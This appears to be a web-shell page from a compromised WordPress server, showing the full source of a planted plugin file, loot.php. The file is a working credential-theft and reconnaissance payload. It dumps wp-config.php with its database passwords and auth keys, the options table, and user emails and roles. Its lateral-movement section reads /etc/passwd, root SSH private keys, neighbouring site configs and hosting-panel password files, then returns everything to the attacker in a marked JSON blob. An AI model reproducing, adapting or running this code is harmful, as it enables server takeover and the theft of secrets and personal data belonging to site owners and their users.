HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceysls.com/wp-content/plugins/wp2shell-a85c549cc2cd/loot.php
<?php
if (!hash_equals('3c2e920ebce04f667a3478f0e3d57c69', (string)($_GET['t'] ?? ''))) { http_response_code(404); exit; }
// WP recon+loot — unified payload. Supersedes _WS_LOOT (2026-07-22).
// Delivery contexts share THIS core; only the prefix differs:
//   direct file  : <?php + token gate, page/per from $_GET['page']/['per']
//   REST eval    : strip <?php, prefix sets $w2s_page/$w2s_per (printf slots)
//   snippet eval : strip <?php, prefix sets $w2s_page from $_GET['w2s_page']
// Page 0: full recon (host/wp/secrets/users/plugins/theme/priv) + raw wp-config
// + first options page; second emit appends lateral. page>0: options only.
// Emit: W2S::{json}::END (page 0 emits twice — parser takes the LAST marker).
// Options are NORMALIZED via w2s_val(): PHP-serialize values and base64 wraps
// become native JSON structures; transforms are recorded in options_meta.
error_reporting(0);
@ini_set('display_errors',0);
@set_time_limit(45);
ob_start();

// Page/per resolution — a context prefix may pre-set $w2s_page/$w2s_per.
$w2s_page = isset($w2s_page)?(int)$w2s_page:(int)($_GET['page']??0);
$w2s_per  = isset($w2s_per)?(int)$w2s_per:(int)($_GET['per']??400);
if($w2s_page<0)$w2s_page=0;
if($w2s_per<1||$w2s_per>2000)$w2s_per=400;

$o=array('config_path'=>null,'config'=>null,'options'=>null,'options_meta'=>null,'options_total'=>null,'users'=>null,'db_via'=>null);
$w2s_done=false;
function _r($d){echo 'W2S::'.json_encode($d,defined('JSON_INVALID_UTF8_SUBSTITUTE')?JSON_INVALID_UTF8_SUBSTITUTE:0).'::END';@ob_flush();@flush();}
// Value normalizer — options leave this payload as NATIVE JSON, never PHP-serialize strings.
// unserialize loop handles double-nesting; base64 heuristic catches aalb-style wraps.
// Returns array(value,enc|null): enc is php_ser/b64 (or null when passed through) and is
// recorded in options_meta so no transform is silent.
function w2s_val($v){
 $enc=null;
 if(is_string($v)){
  // PHP-serialize loop (max 3 deep) — arrays/objects become native structures
  for($i=0;$i<3&&is_string($v);$i++){
   if(!preg_match('/^(a|O|s|S|i|d|b|N)(:\d+)?[:;{]/',$v))break;
   $u=@unserialize($v);
   if($u===false&&$v!=='b:0;')break;
   $v=$u;$enc=$enc?:'php_ser';
  }
  // base64 wrap (alb plugins) — decode only when the result is valid UTF-8 text
  // (no control bytes, no high-byte garbage). Binary stays as-is.
  if(is_string($v)&&strlen($v)>=32&&strlen($v)%4===0&&preg_match('/^[A-Za-z0-9+\/]+={0,2}$/',$v)){
   $d=@base64_decode($v,true);
   if($d!==false&&$d!==''&&!preg_match('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\xff]/',$d)){$v=$d;$enc=$enc?$enc.'+b64':'b64';}
  }
 }
 return array($v,$enc);
}
// Shutdown sentinel (flag pattern, field-proven): when a wp-load include
// die()s the process on hardened hosts, partial loot still ships.
register_shutdown_function(function()use(&$o,&$w2s_done){if(!$w2s_done)_r($o);});

// ── wp-config raw capture (walk-up: stock, webroot-above-config, bedrock) ──
function w2sl_up($start,$file){$d=$start;for($i=0;$i<7;$i++){if(@is_file($d.'/'.$file))return $d.'/'.$file;$p=dirname($d);if($p===$d)break;$d=$p;}return null;}
$cfgp=null;
if(defined('ABSPATH'))foreach(array(ABSPATH.'wp-config.php',dirname(ABSPATH).'/wp-config.php')as$c){if(@is_file($c)){$cfgp=$c;break;}}
if(!$cfgp)$cfgp=w2sl_up(__DIR__,'wp-config.php');
$cfg=$cfgp?@file_get_contents($cfgp):null;
if(is_string($cfg)&&strlen($cfg)>262144)$cfg=substr($cfg,0,262144);
$o['config_path']=$cfgp;
$o['config']=$cfg;

// ── Bootstrap WP if not in scope (direct-file context) ──
if(!defined('ABSPATH')){
 $d=__DIR__;
 for($i=0;$i<6&&!defined('ABSPATH');$i++){
  foreach(array("$d/wp-load.php","$d/wp/wp-load.php",dirname($d)."/wp-load.php")as$p)
   if(@file_exists($p)){@require_once $p;break 2;}
  $d=dirname($d);
 }
}

// Secrets from wp-config defines (whatever survived the bootstrap)
$S=array();
foreach(array('DB_PASSWORD','DB_USER','DB_NAME','DB_HOST','AUTH_KEY','AUTH_SALT',
 'SECURE_AUTH_KEY','SECURE_AUTH_SALT','LOGGED_IN_KEY','LOGGED_IN_SALT','NONCE_KEY','NONCE_SALT',
 'FTP_HOST','FTP_USER','FTP_PASS')as$c)
 if(defined($c)){$v=@constant($c);if(is_string($v))$S[$c]=$v;}

global $wpdb,$wp_version;
$W=(isset($wpdb)&&$wpdb)?$wpdb:null;
$_trans="option_name NOT LIKE '_transient%' AND option_name NOT LIKE '_site_transient%'";

if($W){
 // ── TIER wpdb: full recon through the target's OWN $wpdb ──
 $o['db_via']='wpdb';
 $o['options_total']=(int)@$W->get_var("SELECT COUNT(*) FROM `$W->options` WHERE $_trans");
 $_rows=@$W->get_results("SELECT option_name,option_value FROM `$W->options` WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per",ARRAY_A);
 if(is_array($_rows)){$O=array();$M=array();foreach($_rows as$r){list($nv,$ne)=w2s_val($r['option_value']);$O[$r['option_name']]=$nv;if($ne)$M[$r['option_name']]=$ne;}$o['options']=$O;if($M)$o['options_meta']=$M;}

 if($w2s_page===0){
  // Users + roles in ONE query (500 cap — superset of legacy loot users)
  $U=array();$capkey=$W->prefix.'capabilities';
  $_us=@$W->get_results("SELECT u.ID,u.user_login,u.user_email,u.user_registered,m.meta_value AS caps FROM `$W->users` u LEFT JOIN `$W->usermeta` m ON m.user_id=u.ID AND m.meta_key='$capkey' ORDER BY u.ID LIMIT 500",ARRAY_A);
  if(is_array($_us))foreach($_us as$u){
   $role=null;
   if($u['caps']){$d2=@unserialize($u['caps']);if(is_array($d2))$role=array_keys($d2);}
   $U[]=array('id'=>$u['ID'],'user_login'=>$u['user_login'],'user_email'=>$u['user_email'],'user_registered'=>$u['user_registered'],'role'=>$role);
  }
  $o['users']=$U;

  // Host SA
  $_df=array_map('trim',explode(',',@ini_get('disable_functions')?:''));
  $E=false;
  foreach(array('shell_exec','exec','system','passthru','proc_open','popen')as$f)
   if(function_exists($f)&&!in_array($f,$_df)){$E=true;break;}
  $ud=function_exists('wp_upload_dir')?wp_upload_dir():array('path'=>'');
  $_upath=isset($ud['path'])?$ud['path']:'';
  $o['host']=array(
   'php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(),
   'uname'=>function_exists('php_uname')?@php_uname():'',
   'server'=>$_SERVER['SERVER_SOFTWARE']??'',
   'ip'=>$_SERVER['SERVER_ADDR']??'',
   'docroot'=>$_SERVER['DOCUMENT_ROOT']??'',
   'open_basedir'=>@ini_get('open_basedir')?:'',
   'disabled'=>@ini_get('disable_functions')?:'',
   'exts'=>@get_loaded_extensions()?:array(),
   'can_exec'=>$E,'upload_dir'=>$_upath,
   'upload_writable'=>$_upath?@is_writable($_upath):false,
  );

  // WP SA — site fields read live (options page 0 may not contain them)
  $_opt=function($n)use($W){return @$W->get_var("SELECT option_value FROM `$W->options` WHERE option_name='$n' LIMIT 1");};
  $_ap=$_opt('active_plugins');
  $o['wp']=array(
   'version'=>$wp_version??'',
   'is_multisite'=>function_exists('is_multisite')?is_multisite():false,
   'table_prefix'=>$W->prefix??'',
   'blogname'=>$_opt('blogname')?:'',
   'blogdescription'=>$_opt('blogdescription')?:'',
   'siteurl'=>$_opt('siteurl')?:'',
   'home'=>$_opt('home')?:'',
   'admin_email'=>$_opt('admin_email')?:'',
   'permalink'=>$_opt('permalink_structure')?:'',
   'wp_debug'=>defined('WP_DEBUG')?WP_DEBUG:false,
   'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')?DISALLOW_FILE_MODS:false,
   'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')?DISALLOW_FILE_EDIT:false,
   'db_version'=>method_exists($W,'db_version')?$W->db_version():'',
  );
  $o['plugins']=is_string($_ap)?@unserialize($_ap):null;
  $t=function_exists('wp_get_theme')?wp_get_theme():null;
  $o['theme']=$t?array('name'=>$t->get('Name'),'version'=>$t->get('Version'),'template'=>$t->get_template()):null;
  $cu=function_exists('wp_get_current_user')?wp_get_current_user():null;
  $o['priv']=array(
   'user_login'=>$cu?$cu->user_login:'',
   'role'=>$cu?$cu->roles:array(),
   'is_admin'=>function_exists('current_user_can')?@current_user_can('manage_options'):false,
  );
 }
}elseif(is_string($cfg)&&function_exists('mysqli_connect')){
 // ── TIER mysqli: NO WordPress code loaded — survives security plugins that
 // die() inside wp-load on hardened hosts (field-proven class: 200/0B hosts).
 $q=chr(39);
 $def=function($k,$c)use($q){
  if(preg_match('/'.$k.$q.'.*?'.$q.'([^'.$q.']+)'.$q.'/',$c,$m))return $m[1];
  if(preg_match('/'.$k.$q.'\s*,\s*([A-Z_][A-Z0-9_]*)\s*\)/',$c,$m)&&defined($m[1])){$v=constant($m[1]);return is_string($v)?$v:'';}
  // docker/managed getenv_docker('WORDPRESS_DB_HOST','db') pattern
  if(preg_match('/WORDPRESS_'.$k.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$c,$m)){
   $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev;return $m[1];}
  $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev;
  return '';};
 $pfx='wp_';
 if(preg_match('/table_prefix\s*=\s*'.$q.'([^'.$q.']+)'.$q.'/',$cfg,$m))$pfx=$m[1];
 elseif(preg_match('/WORDPRESS_TABLE_PREFIX'.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$cfg,$m)){
  $ev=getenv('WORDPRESS_TABLE_PREFIX');$pfx=(is_string($ev)&&$ev!=='')?$ev:$m[1];}
 $h=$def('DB_HOST',$cfg);$po=3306;
 if(strpos($h,':')!==false){$hp=explode(':',$h);$h=$hp[0];if(ctype_digit(end($hp)))$po=(int)end($hp);}
 $mc=null;try{$mc=mysqli_connect($h,$def('DB_USER',$cfg),$def('DB_PASSWORD',$cfg),$def('DB_NAME',$cfg),$po);}catch(\Throwable $e){}
 if($mc){
  $o['db_via']='mysqli';
  $rq=function($q2)use($mc){$r=@mysqli_query($mc,$q2);$a=array();if($r){while($row=mysqli_fetch_row($r))$a[]=$row;}return $a;};
  $ct=$rq("SELECT COUNT(*) FROM {$pfx}options WHERE $_trans");
  $o['options_total']=isset($ct[0][0])?(int)$ct[0][0]:null;
  $rows=$rq("SELECT option_name,option_value FROM {$pfx}options WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per");
  if($rows){$O=array();$M=array();foreach($rows as$r){list($nv,$ne)=w2s_val($r[1]);$O[$r[0]]=$nv;if($ne)$M[$r[0]]=$ne;}$o['options']=$O;if($M)$o['options_meta']=$M;}
  if($w2s_page===0){
   $ur=$rq("SELECT ID,user_login,user_email,user_registered FROM {$pfx}users ORDER BY ID LIMIT 500");
   if($ur){$U=array();foreach($ur as$r){$U[]=array('id'=>$r[0],'user_login'=>$r[1],'user_email'=>$r[2],'user_registered'=>$r[3],'role'=>null);}$o['users']=$U;}
   $o['host']=array('php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(),
    'uname'=>function_exists('php_uname')?@php_uname():'',
    'server'=>$_SERVER['SERVER_SOFTWARE']??'','docroot'=>$_SERVER['DOCUMENT_ROOT']??'',
    'note'=>'wp-bootstrap-failed: degraded recon via mysqli');
  }
 }
}

if($o['options']===null&&$o['db_via']===null)
 $o['error']=defined('ABSPATH')?'wpdb-not-initialized':'wp-load-not-found';
if($S)$o['secrets']=$S;

// Paged fast path: options only, single emit, no lateral.
if($w2s_page>0){$w2s_done=true;_r($o);return;}

// Emit core SA now — lateral probes may timeout, this ships first.
_r($o);
if($o['db_via']!=='wpdb'){$w2s_done=true;return;} // lateral needs WP bootstrap

// ── LATERAL MOVEMENT PROBES ──
$G=array();
$_gr=@$W->get_results("SHOW GRANTS",ARRAY_A);
if(is_array($_gr))foreach($_gr as$r){$v=reset($r);if($v)$G[]=$v;}
$DBS=array();
$_ds=@$W->get_col("SHOW DATABASES");
if(is_array($_ds))$DBS=$_ds;

// Neighbor wp-config.php files (other WP installs on same box)
$NC=array();
$d=__DIR__;
for($i=0;$i<5;$i++){
 $d=dirname($d);
 $p="$d/wp-config.php";
 if(@is_file($p)&&@is_readable($p))$NC[]=$p;
}

// /etc/passwd — shell users only
$PW=array();
$_pw=@file_get_contents('/etc/passwd');
if($_pw){
 foreach(explode("\n",$_pw)as$l){
  $parts=explode(':',$l);
  if(count($parts)>=7&&$parts[6]&&$parts[6]!=='/bin/nologin'&&$parts[6]!=='/usr/sbin/nologin'&&$parts[6]!=='/bin/false')
   $PW[]=$parts[0].':'.$parts[6];
 }
 $PW=array_slice($PW,0,50);
}

// SSH keys — root + current user's home only
$SK=array();
$_home=array('/root/.ssh/id_rsa','/root/.ssh/id_ed25519');
if(!empty($o['priv']['user_login'])){
 $h=dirname($_SERVER['DOCUMENT_ROOT']??'/');
 $_home[]=$h.'/.ssh/id_rsa';
}
foreach($_home as$p){
 $c=@file_get_contents($p);
 if($c&&strpos($c,'PRIVATE KEY')!==false)$SK[]=array('path'=>$p,'key'=>substr($c,0,512));
}

// Container + panel detection
$CTN='';
if(@file_exists('/.dockerenv'))$CTN='docker';
$_cg=@file_get_contents('/proc/1/cgroup');
if($_cg){
 if(strpos($_cg,'kubepods')!==false)$CTN.=$CTN?'+k8s':'k8s';
 elseif(strpos($_cg,'docker')!==false||strpos($_cg,'containerd')!==false)$CTN=$CTN?:'container';
}
if(@is_dir('/var/run/secrets/kubernetes.io/serviceaccount'))$CTN.=$CTN?'+k8s-sa':'k8s-sa';

$PN='';
foreach(array(
 'cpanel'=>'/usr/local/cpanel','plesk'=>'/usr/local/psa','plesk-opt'=>'/opt/psa',
 'directadmin'=>'/usr/local/directadmin','virtualmin'=>'/usr/share/webmin',
 'cyberpanel'=>'/usr/local/CyberPanel','hestiacp'=>'/usr/local/hestia',
 'ispconfig'=>'/usr/local/ispconfig','aapanel'=>'/www/server/panel',
 'cloudpanel'=>'/etc/cloudpanel','runcloud'=>'/etc/runcloud',
)as$n=>$p)
 if(@is_dir($p))$PN=$PN?'+'.$n:$n;

$HP='';
if(function_exists('is_wpe')&&@is_wpe()==="1")$HP='wpengine';
elseif(getenv('PANTHEON_ENVIRONMENT'))$HP='pantheon';
elseif(getenv('KINSTA_SITE_ID'))$HP='kinsta';
elseif(getenv('PRESSABLE_FILE_PLUGIN'))$HP='pressable';
elseif(function_exists('is_atomic_platform')&&@is_atomic_platform())$HP='wpcom';
elseif(getenv('CW_ENV'))$HP='cloudways';
elseif(getenv('WPE_PLUGIN_HOST'))$HP='wpengine';
elseif(getenv('SG_PUBLIC'))$HP='siteground';

// REST routes (slow on plugin-heavy sites — probed after core emit).
// try/catch is REQUIRED: on a front-end request (snippet context) building
// the REST server re-fires rest_api_init, and a plugin's route-registration
// code can fatal (code-snippets redeclare) — killing the process before the
// lateral emit. In REST/direct context the server already exists (no-op).
$R=array();
if(function_exists('rest_get_server')){
 try{$_rs=rest_get_server();$_rt=$_rs?$_rs->get_routes():array();
  if(is_array($_rt))$R=array_slice(array_keys($_rt),0,200);}catch(\Throwable $e){}
}
// Cron
$K=array();
if(function_exists('_get_cron_array'))
 try{foreach(_get_cron_array()as$ts=>$hooks)
  if(is_array($hooks))foreach($hooks as$hook=>$j){$K[]=array('ts'=>$ts,'hook'=>$hook);if(count($K)>=100)break 2;}}catch(\Throwable $e){}

// Panel-specific loot
$PL=array();
if(strpos($PN,'cpanel')!==false)$PL['cpanel_users']=@scandir('/var/cpanel/users/')?:array();
if(strpos($PN,'plesk')!==false)$PL['psa_shadow']=@file_get_contents('/etc/psa/.psa.shadow')?:'';
if(strpos($PN,'directadmin')!==false)$PL['da_users']=@scandir('/usr/local/directadmin/data/users/')?:array();

$o['lateral']=array(
 'grants'=>$G,'databases'=>$DBS,'neighbor_configs'=>$NC,'shell_users'=>$PW,
 'ssh_keys'=>$SK,'container'=>$CTN,'panel'=>$PN,'managed_host'=>$HP,
 'rest_routes'=>$R,'cron'=>$K,'panel_loot'=>$PL,
);
$w2s_done=true;  // flag suppresses the sentinel — no hard ob_end_clean here:
// in eval contexts (snippet/REST) code-snippets captures our echo via
// ob_start()/ob_get_clean(); closing all levels would DISCARD the emitted
// markers → empty loot. Natural script end is sufficient.
_r($o);